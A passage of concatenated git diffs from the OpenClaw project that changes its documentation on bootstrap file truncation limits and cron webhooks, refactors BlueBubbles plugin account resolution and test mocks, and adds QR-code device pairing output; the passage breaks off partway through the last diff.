the session and continues. Large bootstrap files are truncated when injected;
adjust the limit with `agents.defaults.bootstrapMaxChars` (default: 20000).
adjust limits with `agents.defaults.bootstrapMaxChars` and/or
`agents.defaults.bootstrapTotalMaxChars` (unset = unlimited).
`openclaw setup` can recreate missing defaults without overwriting existing
files.

View File

@@ -112,7 +112,11 @@ By default, OpenClaw injects a fixed set of workspace files (if present):
- `HEARTBEAT.md`
- `BOOTSTRAP.md` (first-run only)
Large files are truncated per-file using `agents.defaults.bootstrapMaxChars` (default `20000` chars). OpenClaw also enforces a total bootstrap injection cap across files with `agents.defaults.bootstrapTotalMaxChars` (default `24000` chars). `/context` shows **raw vs injected** sizes and whether truncation happened.
Large files are truncated only when limits are configured. Use
`agents.defaults.bootstrapMaxChars` for per-file limits and
`agents.defaults.bootstrapTotalMaxChars` for total bootstrap limits (unset =
unlimited). `/context` shows **raw vs injected** sizes and whether truncation
happened.
## Skills: whats injected vs loaded on-demand

View File

@@ -70,10 +70,11 @@ compaction.
> are accessed on demand via the `memory_search` and `memory_get` tools, so they
> do not count against the context window unless the model explicitly reads them.
Large files are truncated with a marker. The max per-file size is controlled by
`agents.defaults.bootstrapMaxChars` (default: 20000). Total injected bootstrap
content across files is capped by `agents.defaults.bootstrapTotalMaxChars`
(default: 24000). Missing files inject a short missing-file marker.
Large files are truncated with a marker only when limits are configured. Use
`agents.defaults.bootstrapMaxChars` for a per-file cap and
`agents.defaults.bootstrapTotalMaxChars` for a total cap across all injected
bootstrap files. If both are unset, bootstrap injection is unlimited. Missing
files inject a short missing-file marker.
Sub-agent sessions only inject `AGENTS.md` and `TOOLS.md` (other bootstrap files
are filtered out to keep the sub-agent context small).

View File

@@ -579,7 +579,7 @@ Disables automatic creation of workspace bootstrap files (`AGENTS.md`, `SOUL.md`
### `agents.defaults.bootstrapMaxChars`
Max characters per workspace bootstrap file before truncation. Default: `20000`.
Optional max characters per workspace bootstrap file before truncation. If unset, per-file bootstrap injection is unlimited.
```json5
{
@@ -589,7 +589,7 @@ Max characters per workspace bootstrap file before truncation. Default: `20000`.
### `agents.defaults.bootstrapTotalMaxChars`
Max total characters injected across all workspace bootstrap files. Default: `24000`.
Optional max total characters injected across all workspace bootstrap files. If unset, total bootstrap injection is unlimited.
```json5
{
@@ -2320,7 +2320,7 @@ Current builds no longer include the TCP bridge. Nodes connect over the Gateway
cron: {
enabled: true,
maxConcurrentRuns: 2,
webhook: "https://example.invalid/cron-finished", // optional, must be http:// or https://
webhook: "https://example.invalid/legacy", // deprecated fallback for stored notify:true jobs
webhookToken: "replace-with-dedicated-token", // optional bearer token for outbound webhook auth
sessionRetention: "24h", // duration string or false
},
@@ -2328,8 +2328,8 @@ Current builds no longer include the TCP bridge. Nodes connect over the Gateway
```
- `sessionRetention`: how long to keep completed cron sessions before pruning. Default: `24h`.
- `webhook`: finished-run webhook endpoint, only used when the job has `notify: true`.
- `webhookToken`: dedicated bearer token for webhook auth, if omitted no auth header is sent.
- `webhookToken`: bearer token used for cron webhook POST delivery (`delivery.mode = "webhook"`), if omitted no auth header is sent.
- `webhook`: deprecated legacy fallback webhook URL (http/https) used only for stored jobs that still have `notify: true`.
See [Cron Jobs](/automation/cron-jobs).

View File

@@ -18,7 +18,7 @@ OpenClaw assembles its own system prompt on every run. It includes:
- Tool list + short descriptions
- Skills list (only metadata; instructions are loaded on demand with `read`)
- Self-update instructions
- Workspace + bootstrap files (`AGENTS.md`, `SOUL.md`, `TOOLS.md`, `IDENTITY.md`, `USER.md`, `HEARTBEAT.md`, `BOOTSTRAP.md` when new, plus `MEMORY.md` and/or `memory.md` when present). Large files are truncated by `agents.defaults.bootstrapMaxChars` (default: 20000), and total bootstrap injection is capped by `agents.defaults.bootstrapTotalMaxChars` (default: 24000). `memory/*.md` files are on-demand via memory tools and are not auto-injected.
- Workspace + bootstrap files (`AGENTS.md`, `SOUL.md`, `TOOLS.md`, `IDENTITY.md`, `USER.md`, `HEARTBEAT.md`, `BOOTSTRAP.md` when new, plus `MEMORY.md` and/or `memory.md` when present). Per-file and total bootstrap truncation only apply when configured via `agents.defaults.bootstrapMaxChars` and/or `agents.defaults.bootstrapTotalMaxChars` (unset = unlimited). `memory/*.md` files are on-demand via memory tools and are not auto-injected.
- Time (UTC + user timezone)
- Reply tags + heartbeat behavior
- Runtime metadata (host/OS/model/thinking)

View File

@@ -83,9 +83,10 @@ Cron jobs panel notes:
- For isolated jobs, delivery defaults to announce summary. You can switch to none if you want internal-only runs.
- Channel/target fields appear when announce is selected.
- New job form includes a **Notify webhook** toggle (`notify` on the job).
- Gateway webhook posting requires both `notify: true` on the job and `cron.webhook` in config.
- Webhook mode uses `delivery.mode = "webhook"` with `delivery.to` set to a valid HTTP(S) webhook URL.
- For main-session jobs, webhook and none delivery modes are available.
- Set `cron.webhookToken` to send a dedicated bearer token, if omitted the webhook is sent without an auth header.
- Deprecated fallback: stored legacy jobs with `notify: true` can still use `cron.webhook` until migrated.
## Chat behavior

View File

@@ -0,0 +1,29 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { resolveBlueBubblesAccount } from "./accounts.js";
export type BlueBubblesAccountResolveOpts = {
serverUrl?: string;
password?: string;
accountId?: string;
cfg?: OpenClawConfig;
};
export function resolveBlueBubblesServerAccount(params: BlueBubblesAccountResolveOpts): {
baseUrl: string;
password: string;
accountId: string;
} {
const account = resolveBlueBubblesAccount({
cfg: params.cfg ?? {},
accountId: params.accountId,
});
const baseUrl = params.serverUrl?.trim() || account.config.serverUrl?.trim();
const password = params.password?.trim() || account.config.password?.trim();
if (!baseUrl) {
throw new Error("BlueBubbles serverUrl is required");
}
if (!password) {
throw new Error("BlueBubbles password is required");
}
return { baseUrl, password, accountId: account.accountId };
}

View File

@@ -1,38 +1,18 @@
import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
import "./test-mocks.js";
import type { BlueBubblesAttachment } from "./types.js";
import { downloadBlueBubblesAttachment, sendBlueBubblesAttachment } from "./attachments.js";
import { getCachedBlueBubblesPrivateApiStatus } from "./probe.js";
vi.mock("./accounts.js", () => ({
resolveBlueBubblesAccount: vi.fn(({ cfg, accountId }) => {
const config = cfg?.channels?.bluebubbles ?? {};
return {
accountId: accountId ?? "default",
enabled: config.enabled !== false,
configured: Boolean(config.serverUrl && config.password),
config,
};
}),
}));
vi.mock("./probe.js", () => ({
getCachedBlueBubblesPrivateApiStatus: vi.fn().mockReturnValue(null),
}));
import { installBlueBubblesFetchTestHooks } from "./test-harness.js";
const mockFetch = vi.fn();
installBlueBubblesFetchTestHooks({
mockFetch,
privateApiStatusMock: vi.mocked(getCachedBlueBubblesPrivateApiStatus),
});
describe("downloadBlueBubblesAttachment", () => {
beforeEach(() => {
vi.stubGlobal("fetch", mockFetch);
mockFetch.mockReset();
vi.mocked(getCachedBlueBubblesPrivateApiStatus).mockReset();
vi.mocked(getCachedBlueBubblesPrivateApiStatus).mockReturnValue(null);
});
afterEach(() => {
vi.unstubAllGlobals();
});
it("throws when guid is missing", async () => {
const attachment: BlueBubblesAttachment = {};
await expect(

View File

@@ -1,7 +1,7 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import crypto from "node:crypto";
import path from "node:path";
import { resolveBlueBubblesAccount } from "./accounts.js";
import { resolveBlueBubblesServerAccount } from "./account-resolve.js";
import { postMultipartFormData } from "./multipart.js";
import { getCachedBlueBubblesPrivateApiStatus } from "./probe.js";
import { extractBlueBubblesMessageId, resolveBlueBubblesSendTarget } from "./send-helpers.js";
@@ -54,19 +54,7 @@ function resolveVoiceInfo(filename: string, contentType?: string) {
}
function resolveAccount(params: BlueBubblesAttachmentOpts) {
const account = resolveBlueBubblesAccount({
cfg: params.cfg ?? {},
accountId: params.accountId,
});
const baseUrl = params.serverUrl?.trim() || account.config.serverUrl?.trim();
const password = params.password?.trim() || account.config.password?.trim();
if (!baseUrl) {
throw new Error("BlueBubbles serverUrl is required");
}
if (!password) {
throw new Error("BlueBubbles password is required");
}
return { baseUrl, password, accountId: account.accountId };
return resolveBlueBubblesServerAccount(params);
}
export async function downloadBlueBubblesAttachment(

View File

@@ -1,37 +1,17 @@
import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
import { describe, expect, it, vi } from "vitest";
import "./test-mocks.js";
import { markBlueBubblesChatRead, sendBlueBubblesTyping, setGroupIconBlueBubbles } from "./chat.js";
import { getCachedBlueBubblesPrivateApiStatus } from "./probe.js";
vi.mock("./accounts.js", () => ({
resolveBlueBubblesAccount: vi.fn(({ cfg, accountId }) => {
const config = cfg?.channels?.bluebubbles ?? {};
return {
accountId: accountId ?? "default",
enabled: config.enabled !== false,
configured: Boolean(config.serverUrl && config.password),
config,
};
}),
}));
vi.mock("./probe.js", () => ({
getCachedBlueBubblesPrivateApiStatus: vi.fn().mockReturnValue(null),
}));
import { installBlueBubblesFetchTestHooks } from "./test-harness.js";
const mockFetch = vi.fn();
installBlueBubblesFetchTestHooks({
mockFetch,
privateApiStatusMock: vi.mocked(getCachedBlueBubblesPrivateApiStatus),
});
describe("chat", () => {
beforeEach(() => {
vi.stubGlobal("fetch", mockFetch);
mockFetch.mockReset();
vi.mocked(getCachedBlueBubblesPrivateApiStatus).mockReset();
vi.mocked(getCachedBlueBubblesPrivateApiStatus).mockReturnValue(null);
});
afterEach(() => {
vi.unstubAllGlobals();
});
describe("markBlueBubblesChatRead", () => {
it("does nothing when chatGuid is empty", async () => {
await markBlueBubblesChatRead("", {

View File

@@ -1,7 +1,7 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import crypto from "node:crypto";
import path from "node:path";
import { resolveBlueBubblesAccount } from "./accounts.js";
import { resolveBlueBubblesServerAccount } from "./account-resolve.js";
import { postMultipartFormData } from "./multipart.js";
import { getCachedBlueBubblesPrivateApiStatus } from "./probe.js";
import { blueBubblesFetchWithTimeout, buildBlueBubblesApiUrl } from "./types.js";
@@ -15,19 +15,7 @@ export type BlueBubblesChatOpts = {
};
function resolveAccount(params: BlueBubblesChatOpts) {
const account = resolveBlueBubblesAccount({
cfg: params.cfg ?? {},
accountId: params.accountId,
});
const baseUrl = params.serverUrl?.trim() || account.config.serverUrl?.trim();
const password = params.password?.trim() || account.config.password?.trim();
if (!baseUrl) {
throw new Error("BlueBubbles serverUrl is required");
}
if (!password) {
throw new Error("BlueBubbles password is required");
}
return { baseUrl, password, accountId: account.accountId };
return resolveBlueBubblesServerAccount(params);
}
function assertPrivateApiEnabled(accountId: string, feature: string): void {

View File

@@ -1,6 +1,11 @@
import type { IncomingMessage, ServerResponse } from "node:http";
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { timingSafeEqual } from "node:crypto";
import {
registerWebhookTarget,
rejectNonPostWebhookRequest,
resolveWebhookTargets,
} from "openclaw/plugin-sdk";
import {
normalizeWebhookMessage,
normalizeWebhookReaction,
@@ -226,20 +231,11 @@ function removeDebouncer(target: WebhookTarget): void {
}
export function registerBlueBubblesWebhookTarget(target: WebhookTarget): () => void {
const key = normalizeWebhookPath(target.path);
const normalizedTarget = { ...target, path: key };
const existing = webhookTargets.get(key) ?? [];
const next = [...existing, normalizedTarget];
webhookTargets.set(key, next);
const registered = registerWebhookTarget(webhookTargets, target);
return () => {
const updated = (webhookTargets.get(key) ?? []).filter((entry) => entry !== normalizedTarget);
if (updated.length > 0) {
webhookTargets.set(key, updated);
} else {
webhookTargets.delete(key);
}
registered.unregister();
// Clean up debouncer when target is unregistered
removeDebouncer(normalizedTarget);
removeDebouncer(registered.target);
};
}
@@ -387,17 +383,14 @@ export async function handleBlueBubblesWebhookRequest(
req: IncomingMessage,
res: ServerResponse,
): Promise<boolean> {
const url = new URL(req.url ?? "/", "http://localhost");
const path = normalizeWebhookPath(url.pathname);
const targets = webhookTargets.get(path);
if (!targets || targets.length === 0) {
const resolved = resolveWebhookTargets(req, webhookTargets);
if (!resolved) {
return false;
}
const { path, targets } = resolved;
const url = new URL(req.url ?? "/", "http://localhost");
if (req.method !== "POST") {
res.statusCode = 405;
res.setHeader("Allow", "POST");
res.end("Method Not Allowed");
if (rejectNonPostWebhookRequest(req, res)) {
return true;
}

View File

@@ -1,5 +1,5 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { resolveBlueBubblesAccount } from "./accounts.js";
import { resolveBlueBubblesServerAccount } from "./account-resolve.js";
import { getCachedBlueBubblesPrivateApiStatus } from "./probe.js";
import { blueBubblesFetchWithTimeout, buildBlueBubblesApiUrl } from "./types.js";
@@ -112,19 +112,7 @@ const REACTION_EMOJIS = new Map<string, string>([
]);
function resolveAccount(params: BlueBubblesReactionOpts) {
const account = resolveBlueBubblesAccount({
cfg: params.cfg ?? {},
accountId: params.accountId,
});
const baseUrl = params.serverUrl?.trim() || account.config.serverUrl?.trim();
const password = params.password?.trim() || account.config.password?.trim();
if (!baseUrl) {
throw new Error("BlueBubbles serverUrl is required");
}
if (!password) {
throw new Error("BlueBubbles password is required");
}
return { baseUrl, password, accountId: account.accountId };
return resolveBlueBubblesServerAccount(params);
}
export function normalizeBlueBubblesReactionInput(emoji: string, remove?: boolean): string {

View File

@@ -1,39 +1,62 @@
import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
import { beforeEach, describe, expect, it, vi } from "vitest";
import "./test-mocks.js";
import type { BlueBubblesSendTarget } from "./types.js";
import { getCachedBlueBubblesPrivateApiStatus } from "./probe.js";
import { sendMessageBlueBubbles, resolveChatGuidForTarget } from "./send.js";
vi.mock("./accounts.js", () => ({
resolveBlueBubblesAccount: vi.fn(({ cfg, accountId }) => {
const config = cfg?.channels?.bluebubbles ?? {};
return {
accountId: accountId ?? "default",
enabled: config.enabled !== false,
configured: Boolean(config.serverUrl && config.password),
config,
};
}),
}));
vi.mock("./probe.js", () => ({
getCachedBlueBubblesPrivateApiStatus: vi.fn().mockReturnValue(null),
}));
import { installBlueBubblesFetchTestHooks } from "./test-harness.js";
const mockFetch = vi.fn();
installBlueBubblesFetchTestHooks({
mockFetch,
privateApiStatusMock: vi.mocked(getCachedBlueBubblesPrivateApiStatus),
});
function mockResolvedHandleTarget(
guid: string = "iMessage;-;+15551234567",
address: string = "+15551234567",
) {
mockFetch.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid,
participants: [{ address }],
},
],
}),
});
}
function mockSendResponse(body: unknown) {
mockFetch.mockResolvedValueOnce({
ok: true,
text: () => Promise.resolve(JSON.stringify(body)),
});
}
describe("send", () => {
beforeEach(() => {
vi.stubGlobal("fetch", mockFetch);
mockFetch.mockReset();
vi.mocked(getCachedBlueBubblesPrivateApiStatus).mockReset();
vi.mocked(getCachedBlueBubblesPrivateApiStatus).mockReturnValue(null);
});
afterEach(() => {
vi.unstubAllGlobals();
});
describe("resolveChatGuidForTarget", () => {
const resolveHandleTargetGuid = async (data: Array<Record<string, unknown>>) => {
mockFetch.mockResolvedValueOnce({
ok: true,
json: () => Promise.resolve({ data }),
});
const target: BlueBubblesSendTarget = {
kind: "handle",
address: "+15551234567",
service: "imessage",
};
return await resolveChatGuidForTarget({
baseUrl: "http://localhost:1234",
password: "test",
target,
});
};
it("returns chatGuid directly for chat_guid target", async () => {
const target: BlueBubblesSendTarget = {
kind: "chat_guid",
@@ -130,65 +153,31 @@ describe("send", () => {
});
it("resolves handle target by matching participant", async () => {
mockFetch.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15559999999",
participants: [{ address: "+15559999999" }],
},
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
});
const target: BlueBubblesSendTarget = {
kind: "handle",
address: "+15551234567",
service: "imessage",
};
const result = await resolveChatGuidForTarget({
baseUrl: "http://localhost:1234",
password: "test",
target,
});
const result = await resolveHandleTargetGuid([
{
guid: "iMessage;-;+15559999999",
participants: [{ address: "+15559999999" }],
},
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
]);
expect(result).toBe("iMessage;-;+15551234567");
});
it("prefers direct chat guid when handle also appears in a group chat", async () => {
mockFetch.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;+;group-123",
participants: [{ address: "+15551234567" }, { address: "+15550001111" }],
},
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
});
const target: BlueBubblesSendTarget = {
kind: "handle",
address: "+15551234567",
service: "imessage",
};
const result = await resolveChatGuidForTarget({
baseUrl: "http://localhost:1234",
password: "test",
target,
});
const result = await resolveHandleTargetGuid([
{
guid: "iMessage;+;group-123",
participants: [{ address: "+15551234567" }, { address: "+15550001111" }],
},
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
]);
expect(result).toBe("iMessage;-;+15551234567");
});
@@ -416,28 +405,8 @@ describe("send", () => {
});
it("sends message successfully", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () =>
Promise.resolve(
JSON.stringify({
data: { guid: "msg-uuid-123" },
}),
),
});
mockResolvedHandleTarget();
mockSendResponse({ data: { guid: "msg-uuid-123" } });
const result = await sendMessageBlueBubbles("+15551234567", "Hello world!", {
serverUrl: "http://localhost:1234",
@@ -456,28 +425,8 @@ describe("send", () => {
});
it("strips markdown formatting from outbound messages", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () =>
Promise.resolve(
JSON.stringify({
data: { guid: "msg-uuid-stripped" },
}),
),
});
mockResolvedHandleTarget();
mockSendResponse({ data: { guid: "msg-uuid-stripped" } });
const result = await sendMessageBlueBubbles(
"+15551234567",
@@ -578,28 +527,8 @@ describe("send", () => {
});
it("uses private-api when reply metadata is present", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () =>
Promise.resolve(
JSON.stringify({
data: { guid: "msg-uuid-124" },
}),
),
});
mockResolvedHandleTarget();
mockSendResponse({ data: { guid: "msg-uuid-124" } });
const result = await sendMessageBlueBubbles("+15551234567", "Replying", {
serverUrl: "http://localhost:1234",
@@ -620,28 +549,8 @@ describe("send", () => {
it("downgrades threaded reply to plain send when private API is disabled", async () => {
vi.mocked(getCachedBlueBubblesPrivateApiStatus).mockReturnValueOnce(false);
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () =>
Promise.resolve(
JSON.stringify({
data: { guid: "msg-uuid-plain" },
}),
),
});
mockResolvedHandleTarget();
mockSendResponse({ data: { guid: "msg-uuid-plain" } });
const result = await sendMessageBlueBubbles("+15551234567", "Reply fallback", {
serverUrl: "http://localhost:1234",
@@ -659,28 +568,8 @@ describe("send", () => {
});
it("normalizes effect names and uses private-api for effects", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () =>
Promise.resolve(
JSON.stringify({
data: { guid: "msg-uuid-125" },
}),
),
});
mockResolvedHandleTarget();
mockSendResponse({ data: { guid: "msg-uuid-125" } });
const result = await sendMessageBlueBubbles("+15551234567", "Hello", {
serverUrl: "http://localhost:1234",
@@ -722,24 +611,12 @@ describe("send", () => {
});
it("handles send failure", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: false,
status: 500,
text: () => Promise.resolve("Internal server error"),
});
mockResolvedHandleTarget();
mockFetch.mockResolvedValueOnce({
ok: false,
status: 500,
text: () => Promise.resolve("Internal server error"),
});
await expect(
sendMessageBlueBubbles("+15551234567", "Hello", {
@@ -750,23 +627,11 @@ describe("send", () => {
});
it("handles empty response body", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () => Promise.resolve(""),
});
mockResolvedHandleTarget();
mockFetch.mockResolvedValueOnce({
ok: true,
text: () => Promise.resolve(""),
});
const result = await sendMessageBlueBubbles("+15551234567", "Hello", {
serverUrl: "http://localhost:1234",
@@ -777,23 +642,11 @@ describe("send", () => {
});
it("handles invalid JSON response body", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () => Promise.resolve("not valid json"),
});
mockResolvedHandleTarget();
mockFetch.mockResolvedValueOnce({
ok: true,
text: () => Promise.resolve("not valid json"),
});
const result = await sendMessageBlueBubbles("+15551234567", "Hello", {
serverUrl: "http://localhost:1234",
@@ -804,28 +657,8 @@ describe("send", () => {
});
it("extracts messageId from various response formats", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () =>
Promise.resolve(
JSON.stringify({
id: "numeric-id-456",
}),
),
});
mockResolvedHandleTarget();
mockSendResponse({ id: "numeric-id-456" });
const result = await sendMessageBlueBubbles("+15551234567", "Hello", {
serverUrl: "http://localhost:1234",
@@ -836,28 +669,8 @@ describe("send", () => {
});
it("extracts messageGuid from response payload", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () =>
Promise.resolve(
JSON.stringify({
data: { messageGuid: "msg-guid-789" },
}),
),
});
mockResolvedHandleTarget();
mockSendResponse({ data: { messageGuid: "msg-guid-789" } });
const result = await sendMessageBlueBubbles("+15551234567", "Hello", {
serverUrl: "http://localhost:1234",
@@ -868,23 +681,8 @@ describe("send", () => {
});
it("resolves credentials from config", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () => Promise.resolve(JSON.stringify({ data: { guid: "msg-123" } })),
});
mockResolvedHandleTarget();
mockSendResponse({ data: { guid: "msg-123" } });
const result = await sendMessageBlueBubbles("+15551234567", "Hello", {
cfg: {
@@ -903,23 +701,8 @@ describe("send", () => {
});
it("includes tempGuid in request payload", async () => {
mockFetch
.mockResolvedValueOnce({
ok: true,
json: () =>
Promise.resolve({
data: [
{
guid: "iMessage;-;+15551234567",
participants: [{ address: "+15551234567" }],
},
],
}),
})
.mockResolvedValueOnce({
ok: true,
text: () => Promise.resolve(JSON.stringify({ data: { guid: "msg" } })),
});
mockResolvedHandleTarget();
mockSendResponse({ data: { guid: "msg" } });
await sendMessageBlueBubbles("+15551234567", "Hello", {
serverUrl: "http://localhost:1234",

View File

@@ -1,4 +1,5 @@
import {
isAllowedParsedChatSender,
parseChatAllowTargetPrefixes,
parseChatTargetPrefixesOrThrow,
resolveServicePrefixedAllowTarget,
@@ -329,43 +330,15 @@ export function isAllowedBlueBubblesSender(params: {
chatGuid?: string | null;
chatIdentifier?: string | null;
}): boolean {
const allowFrom = params.allowFrom.map((entry) => String(entry).trim());
if (allowFrom.length === 0) {
return true;
}
if (allowFrom.includes("*")) {
return true;
}
const senderNormalized = normalizeBlueBubblesHandle(params.sender);
const chatId = params.chatId ?? undefined;
const chatGuid = params.chatGuid?.trim();
const chatIdentifier = params.chatIdentifier?.trim();
for (const entry of allowFrom) {
if (!entry) {
continue;
}
const parsed = parseBlueBubblesAllowTarget(entry);
if (parsed.kind === "chat_id" && chatId !== undefined) {
if (parsed.chatId === chatId) {
return true;
}
} else if (parsed.kind === "chat_guid" && chatGuid) {
if (parsed.chatGuid === chatGuid) {
return true;
}
} else if (parsed.kind === "chat_identifier" && chatIdentifier) {
if (parsed.chatIdentifier === chatIdentifier) {
return true;
}
} else if (parsed.kind === "handle" && senderNormalized) {
if (parsed.handle === senderNormalized) {
return true;
}
}
}
return false;
return isAllowedParsedChatSender({
allowFrom: params.allowFrom,
sender: params.sender,
chatId: params.chatId,
chatGuid: params.chatGuid,
chatIdentifier: params.chatIdentifier,
normalizeSender: normalizeBlueBubblesHandle,
parseAllowTarget: parseBlueBubblesAllowTarget,
});
}
export function formatBlueBubblesChatTarget(params: {

View File

@@ -0,0 +1,50 @@
import type { Mock } from "vitest";
import { afterEach, beforeEach, vi } from "vitest";
export function resolveBlueBubblesAccountFromConfig(params: {
cfg?: { channels?: { bluebubbles?: Record<string, unknown> } };
accountId?: string;
}) {
const config = params.cfg?.channels?.bluebubbles ?? {};
return {
accountId: params.accountId ?? "default",
enabled: config.enabled !== false,
configured: Boolean(config.serverUrl && config.password),
config,
};
}
export function createBlueBubblesAccountsMockModule() {
return {
resolveBlueBubblesAccount: vi.fn(resolveBlueBubblesAccountFromConfig),
};
}
type BlueBubblesProbeMockModule = {
getCachedBlueBubblesPrivateApiStatus: Mock<() => boolean | null>;
};
export function createBlueBubblesProbeMockModule(): BlueBubblesProbeMockModule {
return {
getCachedBlueBubblesPrivateApiStatus: vi.fn().mockReturnValue(null),
};
}
export function installBlueBubblesFetchTestHooks(params: {
mockFetch: ReturnType<typeof vi.fn>;
privateApiStatusMock: {
mockReset: () => unknown;
mockReturnValue: (value: boolean | null) => unknown;
};
}) {
beforeEach(() => {
vi.stubGlobal("fetch", params.mockFetch);
params.mockFetch.mockReset();
params.privateApiStatusMock.mockReset();
params.privateApiStatusMock.mockReturnValue(null);
});
afterEach(() => {
vi.unstubAllGlobals();
});
}

View File

@@ -0,0 +1,11 @@
import { vi } from "vitest";
vi.mock("./accounts.js", async () => {
const { createBlueBubblesAccountsMockModule } = await import("./test-harness.js");
return createBlueBubblesAccountsMockModule();
});
vi.mock("./probe.js", async () => {
const { createBlueBubblesProbeMockModule } = await import("./test-harness.js");
return createBlueBubblesProbeMockModule();
});

View File

@@ -1,6 +1,15 @@
import type { OpenClawPluginApi } from "openclaw/plugin-sdk";
import os from "node:os";
import { approveDevicePairing, listDevicePairing } from "openclaw/plugin-sdk";
import qrcode from "qrcode-terminal";
function renderQrAscii(data: string): Promise<string> {
return new Promise((resolve) => {
qrcode.generate(data, { small: true }, (output: string) => {
resolve(output);
});
});
}
const DEFAULT_GATEWAY_PORT = 18789;
@@ -120,7 +129,7 @@ function isTailnetIPv4(address: string): boolean {
return a === 100 && b >= 64 && b <= 127;
}
function pickLanIPv4(): string | null {
function pickMatchingIPv4(predicate: (address: string) => boolean): string | null {
const nets = os.networkInterfaces();
for (const entries of Object.values(nets)) {
if (!entries) {
@@ -137,7 +146,7 @@ function pickLanIPv4(): string | null {
if (!address) {
continue;
}
if (isPrivateIPv4(address)) {
if (predicate(address)) {
return address;
}
}
@@ -145,29 +154,12 @@ function pickLanIPv4(): string | null {
return null;
}
function pickLanIPv4(): string | null {
return pickMatchingIPv4(isPrivateIPv4);
}
function pickTailnetIPv4(): string | null {
const nets = os.networkInterfaces();
for (const entries of Object.values(nets)) {
if (!entries) {
continue;
}
for (const entry of entries) {
const family = entry?.family;
// Check for IPv4 (string "IPv4" on Node 18+, number 4 on older)
const isIpv4 = family === "IPv4" || String(family) === "4";
if (!entry || entry.internal || !isIpv4) {
continue;
}
const address = entry.address?.trim() ?? "";
if (!address) {
continue;
}
if (isTailnetIPv4(address)) {
return address;
}
}
}
return null;
return pickMatchingIPv4(isTailnetIPv4);
}
async function resolveTailnetHost(api: OpenClawPluginApi): Promise<string | null> {
@@ -451,6 +443,69 @@ export default function register(api: OpenClawPluginApi) {
password: auth.password,
};
if (action === "qr") {
const setupCode = encodeSetupCode(payload);
const qrAscii = await renderQrAscii(setupCode);
const authLabel = auth.label ?? "auth";
const channel = ctx.channel;
const target = ctx.senderId?.trim() || ctx.from?.trim() || ctx.to?.trim() || "";
if (channel === "telegram" && target) {
try {
const send = api.runtime?.channel?.telegram?.sendMessageTelegram;
if (send) {
await send(
target,
["Scan this QR code with the OpenClaw iOS app:", "", "```", qrAscii, "```"].join(
"\n",
),
{
...(ctx.messageThreadId != null ? { messageThreadId: ctx.messageThreadId } : {}),
...(ctx.accountId ? { accountId: ctx.accountId } : {}),
},
);
return {
text: [
`Gateway: ${payload.url}`,
`Auth: ${authLabel}`,
"",
"After scanning, come back here and run `/pair approve` to complete pairing.",
].join("\n"),
};
}
} catch (err) {
api.logger.warn?.(
`device-pair: telegram QR send failed, falling back (${String(
(err as Error)?.message ?? err,
)})`,
);
}
}
// Render based on channel capability
api.logger.info?.(`device-pair: QR fallback channel=${channel} target=${target}`);
const infoLines = [
`Gateway: ${payload.url}`,
`Auth: ${authLabel}`,
"",
"After scanning, run `/pair approve` to complete pairing.",
];
// WebUI + CLI/TUI: ASCII QR
return {
text: [
